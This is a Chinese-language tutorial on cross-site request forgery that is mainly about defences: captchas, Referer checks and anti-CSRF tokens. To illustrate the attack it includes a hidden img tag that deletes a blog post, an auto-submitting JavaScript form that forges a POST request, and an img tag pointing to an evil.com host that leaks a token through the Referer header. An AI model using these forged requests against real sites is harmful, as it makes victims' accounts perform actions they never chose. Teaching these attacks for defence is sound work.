CSRF全名Cross SIte Request Forgery,跨站点请求伪造。
1.简介(通过例子)
比如要删除一篇搜狐博客,登录Sohu博客后,只需要请求以下URL,就能把编号为“156714243”的博客删除
http://blog.sohu.com/manage/entry.do?m=delete&id=156714243
如果这个URL存在CSRF漏洞,我们就可以通过以下方法删除
- 攻击者在自己的域中构造一个页面:
内容为http://www.a.com/csrf.html
<img src="http://blog.sohu.com/manage/entry.do?m=delete&id=156714243" />
- 诱使目标用户(博客主)访问这个网页
- 打开网页只看到一张看不见的图片,同时博客已经被删除了
原因是因为在访问该网页时,图片标签<img>
向搜狐服务器发送了一次GET请求,导致文章被删除。
2.CSRF进阶
2.1 浏览器的Cookie策略
2.2 P3P头的副作用
2.3 GET?POST?
在CSRF流行之初,有这样一个错误观点:
∵ 大多数CSRF攻击发起时,使用的HTML标签是<img>
、<iframe>
、<script>
等带 “src” 属性的标签,这类标签只能发起一次 GET 请求,而不能发起 POST 请求。
∴ CSRF攻击只能有GET请求发起,只要把重要的操作改成只允许POST请求,就能防止CSRF攻击。
然而很多网站一些重要操作并未严格区分 GET 与 POST,攻击者可以使用 GET 来请求表单的提交地址。比如在PHP中,如果使用的是$_REQUEST
, 而非$_POST
获取变量,则会存在这个问题。
对于一个表单来说,用户往往也可以使用GET方式提交参数,比如对于这个表单:
<form action="/register" id="register" method="post" >
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
用户可以构造一个GET请求来提交表单,如果服务端未对请求方法做限定,请求会通过:
http://host/register?username=test&password=passwd
如果服务器已经区分了GET 与 POST,对于攻击者来说,有若干个方法可以构造出一个POST请求。
最简单的方法,就是在一个页面中构造一个form表单,然后使用JavaScript自动提交这个表单。比如,攻击者在www.b.com/test.html
中编写如下代码:
<form action="http://www.a.com/register" id="register" method="post" >
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
<script>
var f = document.getElementById("register");
f.inputs[0].value = "test";
f.inputs[1].value = "passwd";
f.submit();
</script>
案例:2007年的Gmail CSRF漏洞攻击 from pdp。
2.4 Flash CSRF
除了URLRequest以外,Flash还可以使用getURL,loadVars等方式发起请求。
但是从IE8起,Flash发起的网络请求已经不再发送本地Cookie了。
2.5 CSRF Worm
案例:2008年,80sec公布的百度CSRF Worm。
3 CSRF防御
3.1 验证码
最简洁而有效的防御方法
CSRF往往是在用户不知情的情况下构造网络请求,而验证码强制用户必须通过交互才能进行最终请求。
但是出于用户体验考虑,不可能所有操作都用上验证码。
3.2 Referer Check
如:“论坛发帖”的操作,在正常情况下需要先登录到用户后台,或者访问有发帖功能的页面。在提交“发帖”的表单时,Referer的值必然是发帖表单所在的页面。如果Referer的值不是这个页面,甚至不是发帖网站的域,则极有可能是CSRF攻击。
缺陷:服务器并非什么时候都能取到Referer。很多用户出于隐私保护的考虑,限制了Referer的发送。在某些情况下,浏览器也不会发送Referer,比如从HTTPS跳转到HTTP,出于安全的考虑,浏览器也不会发送Referer。
虽然不能依赖于Referer Check 作为防御CSRF的主要手段,但通过Referer Check来监控CSRF攻击的发生,倒是一种可行的方法。
3.3 Anti CSRF Token
3.3.1 CSRF本质
CSRF为什么能够攻击成功?其本质原因是重要操作的所有参数都是可以被攻击者猜测到的。
攻击者只能预测出URL的所有参数与参数值,才能成功构造一个伪造的请求;反之,攻击者将无法攻击成功。
所以,可以想到一个解决方案:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值。这是”不可预测性原则“的一种应用。
比如,一个删除操作的URL是:
http://host/path/delete?username=abc&item=123
把其中的username参数改成哈希值:
http://host/path/delete?username=md5(salt+abc)&item=123
这样一来,攻击者在不知道salt的情况下,无法构造URL。而对于服务器来说可以从Session或者Cookie中取得username=abc
,再结合salt对整个请求进行验证,正常请求会被认为是合法的。
这一解决方案的问题:
- 加密后的URL会变得非常难读,影响用户体验
- 加密的参数每次都变,用户无法收藏URL
- 普通的参数如果也被加密或者哈希,将会给数据分析工作带来很大的困扰
所以我们需要使用更加通用的方法来解决,这就是Anti CSRF Token。
回到上面的URL,我们保持参数不变,新增一个参数Token,这个Token的值是随机的,不可预测:
http://host/path/delete?username=abc&item=123&token=[random(seed)]
-
Token必须足够随机,必须使用足够安全的随机数生成算法,或者采用真随机数生成器(物理随机)。
-
Token为用户和服务器共同持有,不能被第三者知晓。在实际应用时,Token可以放在用户的Session中,或者浏览器的Cookie中。
由于Token的存在,攻击者无法构造出完整的URL来发起CSRF攻击
用户提交请求时,服务器只需要验证:表单中的Token
?= 用户Session(or Cookie)中的Token
。如果不一致,或者一个为空,则可能存在CSRF攻击。
3.3.2 Token的使用原则
Anti CSRF Token使用时有若干注意事项:
- Token足够随机
- 此Token的目的不是为了防止重复提交。所以为了使用方便,可以允许在一个用户的有效生命周期内,在Token消耗掉前都使用同一个Token。但是如果用户已经提交了表单,则这个Token已经消耗掉,应该再次重新生成一个新的Token。
- 如果Token保存在Cookie中,而不是服务器端的Session中,则会带来一个新的问题。如果一个用户打开几个相同的页面同时操作,当某个页面消耗掉Token后,其他页面的表单内保存的还是被消耗掉的那个Token,因此其他页面的表单再次提交时,会出现Token错误。在这种情况下,可以考虑生成多个有效的Token,以解决多页面共存的场景。
最后,使用Token时应该注意Token的保密性。Token如果出现在某个页面的URL中,则可能会通过Referer的方式泄露。比如以下页面:
http://host/path/manage?username=abc&token=[random]
这个manage页面是一个用户面板,用户需要在这个页面提交表单或者单击”删除“按钮,才能完成删除操作。
在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片:
<img src="http://evil.com/notexist" />
则"http://host/path/manage?username=abc&token=[random]"会作为HTTP请求的Referer 发送到eveil.com的服务器上,从而导致Token泄露。
因此在使用Token时,应该尽量把Token放在表单中。把敏感操作由GET改为POST,以form表单(或者AJAX)的形式提交,可以避免Token泄露。
此外,还有一些其他的途径可能导致Token泄露。比如XSS漏洞或者一些跨域漏洞,都可能让攻击者窃取到Token的值。
CSRF的Token仅仅用于对抗CSRF攻击,当网站还同时存在XSS漏洞时,这个方案就会变得无效,因为XSS可以模拟客户端浏览器执行任意操作。在XSS攻击下,攻击者完全可以请求页面后,读出页面内容里的Token值,然后再构造出一个合法的请求。这个过程可以称之为XSRF,和CSRF以示区分。
XSS带来的问题,应该使用XSS的防御方案予以解决,否则CSRF的Token防御就是空中楼阁。安全防御的体系是相辅相成、缺一不可的。